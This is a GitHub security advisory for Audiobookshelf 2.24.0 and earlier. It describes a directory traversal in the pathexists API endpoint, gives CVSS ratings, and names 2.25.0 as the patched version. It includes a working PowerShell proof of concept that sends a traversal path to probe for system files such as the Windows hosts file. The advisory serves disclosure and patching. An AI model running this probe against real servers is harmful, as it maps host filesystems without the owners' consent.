Skip to content

v2.24.0 - Directory Traversal in /api/filesystem/pathexists Allows File Enumeration

Moderate
advplyr published GHSA-xjqw-8829-qmm6 Jun 14, 2025

Package

FileSystemController.js 

Affected versions

<= 2.24.0

Patched versions

2.25.0

Description

Summary

Directory traversal in POST /api/filesystem/pathexists lets any authenticated user with canUpload = true probe for the existence of any file on the host OS

PoC

Provide your bearer token, modify directory to probe and FolderPath to the root of your library

Powershell

$HostURL   = 'http://192.168.x.xx'                                                # Audiobookshelf base URL
$Token  = '<valid_bearer_token>'                                                # Your bearer token
$Directory = '..\\..\\Windows\\System32\\drivers\\etc\\hosts'     # Target file to probe
$FolderPath = 'C:/AudioBooks'                                                     # Any valid library root

$Body = @{
    directory  = $Directory
    folderPath = $FolderPath
} | ConvertTo-Json

$Headers = @{
    'Authorization' = "Bearer $Token"
    'Content-Type'  = 'application/json'
}

$response = Invoke-RestMethod -Method Post `
    -Uri "$HostURL/audiobookshelf/api/filesystem/pathexists" `
    -Headers $Headers -Body $Body

$response | ConvertTo-Json

Impact

Authenticated attackers can map the filesystem, confirm presence of sensitive files

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits